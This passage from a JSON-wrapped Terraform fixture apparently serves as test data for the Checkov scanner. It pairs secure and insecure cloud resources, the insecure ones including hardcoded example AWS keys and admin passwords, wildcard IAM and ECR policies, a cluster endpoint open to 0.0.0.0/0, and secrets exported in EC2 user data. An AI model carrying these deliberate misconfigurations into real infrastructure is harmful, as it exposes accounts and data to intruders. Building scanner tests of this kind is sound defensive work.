    "content": "provider \"aws\" {\n  region     = \"us-west-2\"\n  access_key = \"AKIAIOSFODNN7EXAMPLE\"  # checkov:skip=CKV_SECRET_2 test secret\n  secret_key = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"  # checkov:skip=CKV_SECRET_6 test secret\n}\nresource \"azurerm_virtual_machine\" \"main\" {\n  name                = \"${var.prefix}-vm\"\n  location            = \"${azurerm_resource_group.main.location}\"\n  resource_group_name = \"${azurerm_resource_group.main.name}\"\n  network_interface_ids = [\n  \"${azurerm_network_interface.main.id}\"]\n  vm_size = \"Standard_DS1_v2\"\n\n  # Uncomment this line to delete the OS disk automatically when deleting the VM\n  # delete_os_disk_on_termination = true\n\n\n  # Uncomment this line to delete the data disks automatically when deleting the VM\n  # delete_data_disks_on_termination = true\n\n  storage_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n  storage_os_disk {\n    name              = \"myosdisk1\"\n    caching           = \"ReadWrite\"\n    create_option     = \"FromImage\"\n    managed_disk_type = \"Standard_LRS\"\n  }\n  os_profile {\n    computer_name  = \"hostname\"\n    admin_username = \"testadmin\"\n    admin_password = \"Password1234!\"  # checkov:skip=CKV_SECRET_80 test secret\n  }\n  os_profile_linux_config {\n    disable_password_authentication = false\n  }\n  tags = {\n    environment = \"staging\"\n  }\n}\n\nresource \"azurerm_managed_disk\" \"source\" {\n  encryption_settings {\n    enabled = false\n  }\n  create_option        = \"\"\n  location             = \"\"\n  name                 = \"\"\n  resource_group_name  = \"foo\"\n  storage_account_type = \"\"\n}\n\nresource \"google_storage_bucket\" \"with-customer-encryption-key\" {\n  name     = \"customer-managed-encryption-key-bucket-${data.google_project.current.number}\"\n  location = \"EU\"\n\n\n}\n\n\nresource \"aws_s3_bucket\" \"foo-bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  acl           = \"public-read\"\n  force_destroy = true\n\n  tags = {\n    Name = \"foo-${data.aws_caller_identity.current.account_id}\"\n  }\n  #checkov:skip=CKV_AWS_20:The bucket is a public static content host\n  versioning {\n    enabled = true\n  }\n}\ndata \"aws_caller_identity\" \"current\" {}\n\nresource \"google_sql_database_instance\" \"gcp_sql_db_instance_bad\" {\n  settings {\n    tier = \"1\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"gcp_sql_db_instance_good\" {\n  settings {\n    tier = \"1\"\n    ip_configuration {\n      require_ssl = \"True\"\n    }\n  }\n}\n\nresource \"google_container_cluster\" \"primary_good\" {\n  name               = \"google_cluster\"\n  enable_legacy_abac = false\n  resource_labels {\n    Owner = \"SomeoneNotWorkingHere\"\n  }\n\n  node_config {\n    image_type = \"cos\"\n  }\n\n  ip_allocation_policy {}\n\n  private_cluster_config {}\n}\n\nresource \"google_container_cluster\" \"primary_good2\" {\n  name               = \"google_cluster\"\n  monitoring_service = \"monitoring.googleapis.com\"\n\n  master_authorized_networks_config {}\n\n  master_auth {\n    client_certificate_config {\n      issue_client_certificate = false\n    }\n  }\n\n  node_config {\n    image_type = \"not-cos\"\n  }\n\n  pod_security_policy_config {\n    enabled = true\n  }\n\n  private_cluster_config {}\n}\n\nresource \"google_container_cluster\" \"primary_bad\" {\n  name               = \"google_cluster_bad\"\n  monitoring_service = \"none\"\n  enable_legacy_abac = true\n\n  master_authorized_networks_config {\n    cidr_blocks {\n      cidr_block = \"0.0.0.0/0\"\n      display_name = \"The world\"\n    }\n  }\n\n  master_auth {\n    username = \"test\"\n    password = \"password\"\n  }\n\n  resource_labels {}\n}\n\nresource \"google_container_node_pool\" \"bad_node_pool\" {\n  cluster = \"\"\n  management {\n  }\n}\n\nresource \"google_container_node_pool\" \"good_node_pool\" {\n  cluster = \"\"\n  management {\n    auto_repair = true\n  }\n}\n\nresource \"aws_kms_key\" \"my_kms_key\" {\n  description         = \"My KMS Key\"\n  enable_key_rotation = true\n}\n\nresource \"aws_iam_account_password_policy\" \"password-policy\" {\n  minimum_password_length        = 15\n  require_lowercase_characters   = true\n  require_numbers                = true\n  require_uppercase_characters   = true\n  require_symbols                = true\n  allow_users_to_change_password = true\n}\n\nresource \"aws_iam_account_password_policy\" \"paswword-policy_example_with_string_values\" {\n  allow_users_to_change_password = var.allow_users_to_change_password\n  hard_expiry                    = var.hard_expiry\n  minimum_password_length        = \"14\"\n  max_password_age               = \"40\"\n  password_reuse_prevention      = \"3\"\n  require_lowercase_characters   = var.require_lowercase_characters\n  require_uppercase_characters   = var.require_uppercase_characters\n  require_numbers                = var.require_numbers\n  require_symbols                = var.require_symbols\n}\n\nresource \"aws_security_group\" \"bar-sg\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  ingress {\n    from_port = 22\n    to_port   = 22\n    protocol  = \"tcp\"\n    security_groups = [\n    aws_security_group.foo-sg.id]\n    description = \"foo\"\n  }\n\n  egress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = [\n    \"0.0.0.0/0\"]\n  }\n\n}\n\nresource \"aws_security_group\" \"ingress_as_map\" {\n  name        = \"${var.name}_elasticsearch\"\n  description = \"ELK ${var.name} ElasticSearch instances\"\n  vpc_id      = \"${data.aws_vpc.selected.id}\"\n\n  egress {\n    from_port   = 0\n    to_port     = 0\n    protocol    = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n\n  ingress = {\n    from_port       = 9200\n    to_port         = 9200\n    protocol        = \"tcp\"\n    security_groups = [\"${aws_security_group.elk_logstash.id}\"]\n  }\n\n  ingress = {\n    from_port       = 9300\n    to_port         = 9400\n    protocol        = \"tcp\"\n    security_groups = [\"${aws_security_group.elk_kibana.id}\"]\n    self            = true\n  }\n\n  ingress = {\n    from_port       = 22\n    to_port         = 22\n    protocol        = \"tcp\"\n    security_groups = \"${concat(list(aws_security_group.elk_admin.id), var.admin_sg_ids)}\"\n    cidr_blocks     = \"${var.admin_cidrs}\"\n  }\n\n  tags = \"${merge(var.tags, map(\"Module\", var.module))}\"\n}\n\nresource \"aws_iam_policy\" \"example\" {\n  name   = \"example_policy\"\n  path   = \"/\"\n  policy = \"${data.aws_iam_policy_document.example.json}\"\n}\n\nresource \"aws_elasticache_replication_group\" \"example\" {\n  automatic_failover_enabled = true\n  availability_zones = [\n    \"us-west-2a\",\n  \"us-west-2b\"]\n  replication_group_id          = \"tf-rep-group-1\"\n  replication_group_description = \"test description\"\n  node_type                     = \"cache.m4.large\"\n  number_cache_clusters         = 2\n  parameter_group_name          = \"default.redis3.2\"\n  port                          = 6379\n  at_rest_encryption_enabled    = true\n  transit_encryption_enabled    = true\n  auth_token                    = var.auth_token\n}\n\nresource \"aws_ecr_repository_policy\" \"public_repo_policy\" {\n  repository = \"public_repo\"\n\n  policy = <<EOF\n{\n    \"Version\": \"2008-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"new policy\",\n            \"Effect\": \"Allow\",\n            \"Principal\": \"*\",\n            \"Action\": [\n                \"ecr:GetDownloadUrlForLayer\",\n                \"ecr:BatchGetImage\",\n                \"ecr:BatchCheckLayerAvailability\",\n                \"ecr:PutImage\",\n                \"ecr:InitiateLayerUpload\",\n                \"ecr:UploadLayerPart\",\n                \"ecr:CompleteLayerUpload\",\n                \"ecr:DescribeRepositories\",\n                \"ecr:GetRepositoryPolicy\",\n                \"ecr:ListImages\",\n                \"ecr:DeleteRepository\",\n                \"ecr:BatchDeleteImage\",\n                \"ecr:SetRepositoryPolicy\",\n                \"ecr:DeleteRepositoryPolicy\"\n            ]\n        }\n    ]\n}\nEOF\n}\n\nresource \"aws_ecr_repository\" \"foo\" {\n  name                 = \"bar\"\n  image_tag_mutability = \"MUTABLE\"\n\n  image_scanning_configuration {\n    scan_on_push = true\n  }\n}\n\nresource \"aws_ecr_repository_policy\" \"private_repo_policy\" {\n  repository = \"private_repo\"\n\n  policy = <<EOF\n{\n    \"Version\": \"2008-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"new policy\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": [\n                    \"arn:aws:iam::123456789012:user/pull-user-1\",\n                    \"arn:aws:iam::123456789012:user/pull-user-2\"\n                ]\n            },\n            \"Action\": [\n                \"ecr:GetDownloadUrlForLayer\",\n                \"ecr:BatchGetImage\",\n                \"ecr:BatchCheckLayerAvailability\",\n                \"ecr:PutImage\",\n                \"ecr:InitiateLayerUpload\",\n                \"ecr:UploadLayerPart\",\n                \"ecr:CompleteLayerUpload\",\n                \"ecr:DescribeRepositories\",\n                \"ecr:GetRepositoryPolicy\",\n                \"ecr:ListImages\",\n                \"ecr:DeleteRepository\",\n                \"ecr:BatchDeleteImage\",\n                \"ecr:SetRepositoryPolicy\",\n                \"ecr:DeleteRepositoryPolicy\"\n            ]\n        }\n    ]\n}\nEOF\n}\n\nresource \"aws_cloudfront_distribution\" \"s3_distribution\" {\n  origin {\n    domain_name = \"${aws_s3_bucket.b.bucket_regional_domain_name}\"\n    origin_id   = \"${local.s3_origin_id}\"\n    s3_origin_config {\n      origin_access_identity = \"origin-access-identity/cloudfront/ABCDEFG1234567\"\n    }\n  }\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n  default_root_object = \"index.html\"\n\n  logging_config {\n    include_cookies = false\n    bucket          = \"mylogs.s3.amazonaws.com\"\n    prefix          = \"myprefix\"\n  }\n\n  aliases = [\n    \"mysite.example.com\",\n  \"yoursite.example.com\"]\n\n  ordered_cache_behavior {\n    path_pattern = \"/content/immutable/*\"\n    allowed_methods = [\n      \"GET\",\n      \"HEAD\",\n    \"OPTIONS\"]\n    cached_methods = [\n      \"GET\",\n      \"HEAD\",\n    \"OPTIONS\"]\n    target_origin_id = \"${local.s3_origin_id}\"\n\n    forwarded_values {\n      query_string = false\n      headers = [\n      \"Origin\"]\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  # Cache behavior with precedence 1\n  ordered_cache_behavior {\n    path_pattern = \"/content/*\"\n    allowed_methods = [\n      \"GET\",\n      \"HEAD\",\n    \"OPTIONS\"]\n    cached_methods = [\n      \"GET\",\n    \"HEAD\"]\n    target_origin_id = \"${local.s3_origin_id}\"\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\ndynamic \"ordered_cache_behavior\" {\n    for_each = var.ordered_cache\n\n    content {\n      path_pattern = ordered_cache_behavior.value.path_pattern\n\n      allowed_methods  = ordered_cache_behavior.value.allowed_methods\n      cached_methods   = ordered_cache_behavior.value.cached_methods\n      target_origin_id = module.distribution_label.id\n      compress         = ordered_cache_behavior.value.compress\n      trusted_signers  = var.trusted_signers\n\n      forwarded_values {\n        query_string = ordered_cache_behavior.value.forward_query_string\n        headers      = ordered_cache_behavior.value.forward_header_values\n\n        cookies {\n          forward = ordered_cache_behavior.value.forward_cookies\n        }\n      }\n\n      viewer_protocol_policy = ordered_cache_behavior.value.viewer_protocol_policy\n      default_ttl            = ordered_cache_behavior.value.default_ttl\n      min_ttl                = ordered_cache_behavior.value.min_ttl\n      max_ttl                = ordered_cache_behavior.value.max_ttl\n\n      dynamic \"lambda_function_association\" {\n        for_each = ordered_cache_behavior.value.lambda_function_association\n        content {\n          event_type   = lambda_function_association.value.event_type\n          include_body = lookup(lambda_function_association.value, \"include_body\", null)\n          lambda_arn   = lambda_function_association.value.lambda_arn\n        }\n      }\n    }\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations = [\n        \"US\",\n        \"CA\",\n        \"GB\",\n      \"DE\"]\n    }\n  }\n\n  tags = {\n    Environment = \"production\"\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n\n  default_cache_behavior {\n    allowed_methods = [\n      \"DELETE\",\n      \"GET\",\n      \"HEAD\",\n      \"OPTIONS\",\n      \"PATCH\",\n      \"POST\",\n    \"PUT\"]\n    cached_methods = [\n      \"GET\",\n    \"HEAD\"]\n    target_origin_id = \"${local.s3_origin_id}\"\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n}\n\nresource \"aws_iam_user_policy_attachment\" \"test-attach\" {\n  user       = \"${aws_iam_user.user.name}\"\n  policy_arn = \"${aws_iam_policy.policy.arn}\"\n}\nresource \"aws_iam_policy_attachment\" \"test-attach\" {\n  name = \"test-attachment\"\n  users = [\n  \"${aws_iam_user.user.name}\"]\n  roles = [\n  \"${aws_iam_role.role.name}\"]\n  groups = [\n  \"${aws_iam_group.group.name}\"]\n  policy_arn = \"${aws_iam_policy.policy.arn}\"\n}\n\nresource \"aws_iam_user_policy\" \"lb_ro\" {\n  name = \"test\"\n  user = \"${aws_iam_user.lb.name}\"\n\n  policy = <<EOF\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Action\": [\n        \"ec2:Describe*\"\n      ],\n      \"Effect\": \"Allow\",\n      \"Resource\": \"*\"\n    }\n  ]\n}\nEOF\n}\n\nresource \"aws_s3_bucket\" \"bridgecrew_cws_bucket\" {\n  count = var.existing_bucket_name == null ? 1 : 0\n\n  bucket = local.bucket_name\n  acl    = \"private\"\n\n  versioning {\n    enabled = true\n  }\n\n  lifecycle_rule {\n    id      = \"Delete old log files\"\n    enabled = true\n\n    noncurrent_version_expiration {\n      days = var.log_file_expiration\n    }\n\n    expiration {\n      days = var.log_file_expiration\n    }\n  }\n\n  dynamic \"logging\" {\n    for_each = var.logs_bucket_id != null ? [var.logs_bucket_id] : []\n\n    content {\n      target_bucket = logging.value\n      target_prefix = \"/${local.bucket_name}\"\n    }\n  }\n\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        kms_master_key_id = local.kms_key\n        sse_algorithm     = \"aws:kms\"\n      }\n    }\n  }\n\n  tags = {\n    Name = \"BridgecrewCWSBucket\"\n  }\n}\n\nresource \"aws_s3_bucket\" \"dynamic_sse_block_string\" {\n  count = local.using_existing_origin ? 0 : 1\n  bucket = module.origin_label.id\n  acl = \"private\"\n  tags = module.origin_label.tags\n  force_destroy = var.origin_force_destroy\n  region = data.aws_region.current.name\n\n  dynamic \"server_side_encryption_configuration\" {\n    for_each = var.encryption_enabled ? [\n      \"true\"] : []\n\n    content {\n      rule {\n        apply_server_side_encryption_by_default {\n          sse_algorithm = \"AES256\"\n        }\n      }\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"sse_block_and_rule_block_as_map\" {\n  bucket = \"${var.bucket_name}\"\n  policy = \"${data.aws_iam_policy_document.iam_policy_document_s3.json}\"\n\n  versioning = {\n    enabled = true\n  }\n\n  lifecycle = {\n    prevent_destroy = true\n  }\n\n  server_side_encryption_configuration = {\n    rule = {\n      apply_server_side_encryption_by_default = {\n        sse_algorithm = \"AES256\"\n      }\n    }\n  }\n}\n\nresource \"aws_efs_file_system\" \"sharedstore\" {\n  creation_token                  = \"my-product\"\n\n  lifecycle_policy {\n    transition_to_ia = \"AFTER_30_DAYS\"\n  }\n\n    kms_key_id                      = \"aws/efs\"\n    encrypted                       = true\n    performance_mode                = \"generalPurpose\"\n    provisioned_throughput_in_mibps = 0\n    throughput_mode                 = \"bursting\"\n\n}\n\nresource \"aws_instance\" \"compute_host\" {\n# ec2 have plain text secrets in user data\nami           = \"ami-04169656fea786776\"\ninstance_type = \"t2.nano\"\nuser_data     = <<EOF\n#! /bin/bash\nsudo apt-get update\nsudo apt-get install -y apache2\nsudo systemctl start apache2\nsudo systemctl enable apache2\nexport AWS_ACCESS_KEY_ID\nexport AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE\nexport AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nexport AWS_DEFAULT_REGION=us-west-2\necho \"<h1>Deployed via Terraform</h1>\" | sudo tee /var/www/html/index.html\nEOF\ntags = {\nName  = \"${local.resource_prefix.value}-ec2\"\n}\n}\n\ndata aws_iam_policy_document \"bad_policy_document\" {\n  version = \"2012-10-17\"\n  statement {\n    actions = [\"*\"]\n    resources = [\"*\"]\n  }\n}\n\ndata aws_iam_policy_document \"good_policy_document\" {\n  version = \"2012-10-17\"\n  statement {\n    actions = [\"s3:Get*\"]\n    resources = [\"*\"]\n    effect = \"Allow\"\n  }\n}\n\ndata aws_iam_policy_document \"long_bad_policy_document\" {\n  version = \"2012-10-17\"\n  statement {\n    actions = [\"s3:Get*\"]\n    resources = [\"*\"]\n    effect = \"Allow\"\n  }\n  statement {\n    actions = [\"*\"]\n    resources = [\"*\"]\n    effect = \"Allow\"\n  }\n}\n\ndata aws_iam_policy_document \"good_deny_policy_document\" {\n  version = \"2012-10-17\"\n  statement {\n    actions = [\"*\"]\n    resources = [\"*\"]\n    effect = \"Deny\"\n    condition {\n      test = \"ArnLike\"\n      values = [\"arn:aws:mock:mock:mock\"]\n      variable = \"aws:mock\"\n    }\n  }\n}\n\ndata aws_iam_policy_document \"scp_deny_example\" {\n  statement {\n    sid    = \"NoIAMUsers\"\n    effect = \"Deny\"\n    not_actions = [\n      \"iam:Get*\",\n      \"iam:List*\",\n      \"iam:Describe*\",\n    ]\n    resources = [\n      \"arn:aws:iam::*:user/*\",\n    ]\n  }\n}\n\nresource aws_lambda_function \"good-function\" {\n  filename      = \"lambda_function_payload.zip\"\n  function_name = \"good_lambda_function_name\"\n  role          = \"${aws_iam_role.iam_for_lambda.arn}\"\n  handler       = \"exports.test\"\n\n  # The filebase64sha256() function is available in Terraform 0.11.12 and later\n  # For Terraform 0.11.11 and earlier, use the base64sha256() function and the file() function:\n  # source_code_hash = \"${base64sha256(file(\"lambda_function_payload.zip\"))}\"\n  source_code_hash = \"${filebase64sha256(\"lambda_function_payload.zip\")}\"\n\n  runtime = \"nodejs12.x\"\n  environment {\n    variables = \"${var.variables_map}\"\n  }\n}\n\nresource aws_lambda_function \"bad-function\" {\n  filename = \"lambda_function_payload.zip\"\n  function_name = \"bad_lambda_function_name\"\n  role = \"${aws_iam_role.iam_for_lambda.arn}\"\n  handler = \"exports.test\"\n\n  # The filebase64sha256() function is available in Terraform 0.11.12 and later\n  # For Terraform 0.11.11 and earlier, use the base64sha256() function and the file() function:\n  # source_code_hash = \"${base64sha256(file(\"lambda_function_payload.zip\"))}\"\n  source_code_hash = \"${filebase64sha256(\"lambda_function_payload.zip\")}\"\n\n  runtime = \"nodejs12.x\"\n  environment {\n    variables = {\n      AWS_ACCESS_KEY_ID = \"AKIAIOSFODNN7EXAMPLE\"\n      secret_key = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"  # checkov:skip=CKV_SECRET_80 test secret\n    }\n  }\n}\n\nresource \"aws_lambda_function\" \"block_environment_variables\" {\n\n  filename = \"${path.module}/canary_sensor_api_capture.zip\"\n  description = \"A lambda that reaches out to the Canary API used on the Canary website, obtains bearer tokens for communication, gets a list of the devices attached to the account, and fetches the sensor data for those devices.\"\n  function_name = \"canary_sensor_api_capture\"\n  role = \"${aws_iam_role.canary_sensor_api_capture_role.arn}\"\n  handler = \"canary_sensor_api_capture.lambda_handler\"\n  source_code_hash = \"${data.archive_file.canary_sensor_api_capture_zip.output_base64sha256}\"\n  runtime = \"python2.7\"\n  timeout = 10\n\n  environment {\n\n    variables {\n\n      kmsArn = \"${var.kms_arn}\"\n      username = \"${var.canary_username}\"\n      password = \"${var.canary_encrytped_password}\"\n    }\n  }\n}\n\nresource \"aws_lambda_function\" \"environment_and_variables_map\" {\n  filename         = \"${data.archive_file.ami_backup.output_path}\"\n  function_name    = \"${module.label_backup.id}\"\n  description      = \"Automatically backup EC2 instance (create AMI)\"\n  role             = \"${aws_iam_role.ami_backup.arn}\"\n  timeout          = 60\n  handler          = \"ami_backup.lambda_handler\"\n  runtime          = \"python2.7\"\n  source_code_hash = \"${data.archive_file.ami_backup.output_base64sha256}\"\n\n  environment = {\n    variables = {\n      region                = \"${var.region}\"\n      ami_owner             = \"${var.ami_owner}\"\n      instance_id           = \"${var.instance_id}\"\n      retention             = \"${var.retention_days}\"\n      label_id              = \"${module.label.id}\"\n      reboot                = \"${var.reboot ? \"1\" : \"0\"}\"\n      block_device_mappings = \"${jsonencode(var.block_device_mappings)}\"\n    }\n  }\n}\n\nresource \"aws_lambda_function\" \"dynamic_environment_example\" {\n  function_name = var.name\n  filename = \"${path.module}/lambda_function.zip\"\n  role = aws_iam_role.this.arn\n  handler = var.handler\n  runtime = var.runtime\n  memory_size = var.memory_size\n  timeout = var.timeout\n  layers = var.layers\n  description = var.description\n  reserved_concurrent_executions = var.reserved_concurrent_executions\n  publish = var.publish\n  kms_key_arn = var.kms_key_arn\n\n  dynamic \"environment\" {\n    for_each = length(var.environment_variables) > 0 ? [\n      true] : []\n\n    content {\n      variables = var.environment_variables\n    }\n  }\n}\nresource \"aws_s3_bucket\" \"versioning-string\" {\n  bucket = \"${var.bucket}\"\n  region = \"${var.region}\"\n  acl    = \"${var.acl}\"\n\n  cors_rule = \"${var.cors_rule}\"\n  website   = \"${var.website}\"\n\n  force_destroy = \"${var.force_destroy}\"\n\n  lifecycle_rule = \"${var.lifecycle_rule}\"\n  versioning     = \"${var.versioning}\"\n  logging        = \"${var.logging}\"\n\n  request_payer                        = \"${var.request_payer}\"\n  replication_configuration            = \"${var.replication_configuration}\"\n  server_side_encryption_configuration = \"${var.server_side_encryption_configuration}\"\n\n  tags = \"${var.tags}\"\n}\n\nresource aws_eks_cluster \"eks_bad\" {\n  name = \"bad-eks\"\n  role_arn = var.role_arn\n  vpc_config {\n    subnet_ids = []\n    endpoint_public_access = true\n  }\n\n\n  encryption_config {\n    provider {\n      key_arn = var.key_arn\n    }\n    resources = []\n  }\n}\n\nresource aws_eks_cluster \"eks_bad2\" {\n  name = \"bad-eks2\"\n  role_arn = var.role_arn\n  vpc_config {\n    subnet_ids = []\n    endpoint_public_access = true\n  }\n}\n\nresource aws_eks_cluster \"eks_good\" {\n  name = \"good-eks2\"\n  role_arn = var.role_arn\n  vpc_config {\n    subnet_ids = []\n    endpoint_public_access = true\n  }\n\n  encryption_config {\n    provider {\n      key_arn = var.key_arn\n    }\n    resources = [\"secrets\"]\n  }\n}\n\nresource azurerm_kubernetes_cluster \"example\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n\n  default_node_pool {\n    name       = \"default\"\n    node_count = 1\n    vm_size    = \"Standard_D2_v2\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  agent_pool_profile {}\n  service_principal {}\n\n  api_server_authorized_ip_ranges = [\"192.168.0.0/16\"]\n\n  tags = {\n    Environment = \"Production\"\n  }\n\n  addon_profile {\n    kube_dashboard {\n      enabled = true\n    }\n\n    oms_agent {\n      enabled = true\n      log_analytics_workspace_id = \"\"\n    }\n  }\n}\n\nresource azurerm_kubernetes_cluster \"bad-example\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n\n  default_node_pool {\n    name       = \"default\"\n    node_count = 1\n    vm_size    = \"Standard_D2_v2\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  agent_pool_profile {}\n  service_principal {}\n\n  api_server_authorized_ip_ranges = []\n\n  role_based_access_control {\n    enabled = true\n  }\n\n  network_profile {\n    network_plugin = \"azure\"\n  }\n\n  tags = {\n    Environment = \"Production\"\n  }\n}\n\nresource azurerm_kubernetes_cluster \"bad-example\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n\n  default_node_pool {\n    name       = \"default\"\n    node_count = 1\n    vm_size    = \"Standard_D2_v2\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  agent_pool_profile {}\n  service_principal {}\n\n  role_based_access_control {\n    enabled = false\n  }\n\n  addon_profile {\n    kube_dashboard {\n      enabled = false\n    }\n  }\n\n  network_profile {\n    network_plugin = \"azure\"\n    network_policy = \"network_policy\"\n  }\n\n  tags = {\n    Environment = \"Production\"\n  }\n}\n\n\nresource \"aws_elasticsearch_domain\" \"dynamic_cluster_config_example\" {\n  domain_name = var.domain_name\n  elasticsearch_version = var.elasticsearch_version\n  access_policies = var.access_policies\n  advanced_options = var.advanced_options == null ? {} : var.advanced_options\n  dynamic \"cluster_config\" {\n    for_each = local.cluster_config\n    content {\n      instance_type = lookup(cluster_config.value, \"instance_type\")\n      instance_count = lookup(cluster_config.value, \"instance_count\")\n      dedicated_master_enabled = lookup(cluster_config.value, \"dedicated_master_enabled\")\n      dedicated_master_type = lookup(cluster_config.value, \"dedicated_master_type\")\n      dedicated_master_count = lookup(cluster_config.value, \"dedicated_master_count\")\n      zone_awareness_enabled = lookup(cluster_config.value, \"zone_awareness_enabled\")\n    }\n  }\n}\n\nresource \"aws_api_gateway_method\" \"apigateway_method_with_authorization\" {\n  rest_api_id   = \"${var.rest_api_id}\"\n  resource_id   = \"${var.resource_id}\"\n  http_method   = \"OPTIONS}\"\n  authorization = \"AWS_IAM\"\n}\n\nresource \"aws_api_gateway_method\" \"apigateway_method_no_authorization\" {\n  rest_api_id   = var.api_id\n  resource_id   = var.api_resource_id\n  http_method   = var.http_method\n  authorization = \"NONE\"\n}\n\nresource \"aws_iam_role\" \"example_with_specific_service\" {\n  name = \"${var.name}-${var.environment}\"\n\n  assume_role_policy = <<EOF\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Action\": \"sts:AssumeRole\",\n      \"Principal\": {\n        \"Service\": \"ecs-tasks.amazonaws.com\"\n      },\n      \"Effect\": \"Allow\",\n      \"Sid\": \"\"\n    }\n  ]\n}\nEOF\n}\n\nresource \"aws_iam_role\" \"example_with_no_specific_service_attached\" {\n  name = \"${var.name}-${var.environment}\"\n\n  assume_role_policy = <<EOF\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Action\": \"sts:AssumeRole\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"Effect\": \"Allow\",\n      \"Sid\": \"\"\n    }\n  ]\n}\nEOF\n}\n\nresource \"aws_iam_role_policy\" \"json_bad_policy\" {\n  name = \"test_policy\"\n  role = aws_iam_role.test_role.id\n\n  policy = <<-EOF\n  {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n      {\n        \"Action\": [\n          \"*\"\n        ],\n        \"Effect\": \"Allow\",\n        \"Resource\": \"*\"\n      }\n    ]\n  }\n  EOF\n}\n\nresource \"aws_iam_role_policy\" \"json_good_policy\" {\n  name = \"test_policy\"\n  role = aws_iam_role.test_role.id\n\n  policy = <<-EOF\n  {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n      {\n        \"Action\": [\n          \"ec2:Describe*\"\n        ],\n        \"Effect\": \"Allow\",\n        \"Resource\": \"*\"\n      }\n    ]\n  }\n  EOF\n}\n\nresource \"aws_iam_role\" \"example_1_allowing_all_aws_principals\" {\n  name = \"${var.name}-${var.environment}\"\n\n  assume_role_policy = <<EOF\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Action\": \"sts:AssumeRole\",\n      \"Principal\": {\n        \"AWS\": \"123123123123\"\n      },\n      \"Effect\": \"Allow\",\n      \"Sid\": \"\"\n    }\n  ]\n}\nEOF\n}\n\nresource \"aws_iam_role\" \"example_2_allowing_all_aws_principals\" {\n  name = \"${var.name}-${var.environment}\"\n\n  assume_role_policy = <<EOF\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Action\": \"sts:AssumeRole\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::123123123123:root\"\n      },\n      \"Effect\": \"Allow\",\n      \"Sid\": \"\"\n    }\n  ]\n}\nEOF\n}\n\nresource \"google_compute_subnetwork\" \"subnet-without-logging\" {\n          name          = \"log-test-subnetwork\"\n          ip_cidr_range = \"10.2.0.0/16\"\n          region        = \"us-central1\"\n          network       = google_compute_network.custom-test.id\n        }\n\nresource \"google_compute_subnetwork\" \"subnet-with-logging\" {\n          name          = \"log-test-subnetwork\"\n          ip_cidr_range = \"10.2.0.0/16\"\n          region        = \"us-central1\"\n          network       = google_compute_network.custom-test.id\n\n          log_config {\n            aggregation_interval = \"INTERVAL_10_MIN\"\n            flow_sampling        = 0.5\n            metadata             = \"INCLUDE_ALL_METADATA\"\n          }\n        }\n\nresource \"google_compute_ssl_policy\" \"modern-profile-without-min-tls\" {\n  name    = \"production-ssl-policy\"\n  profile = \"MODERN\"\n}\n\nresource \"google_compute_ssl_policy\" \"modern-profile-with-min-tls\" {\n  name            = \"nonprod-ssl-policy\"\n  profile         = \"MODERN\"\n  min_tls_version = \"TLS_1_2\"\n}\n\nresource \"google_compute_ssl_policy\" \"custom-profile\" {\n  name            = \"custom-ssl-policy\"\n  min_tls_version = \"TLS_1_2\"\n  profile         = \"CUSTOM\"\n  custom_features = [\"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384\", 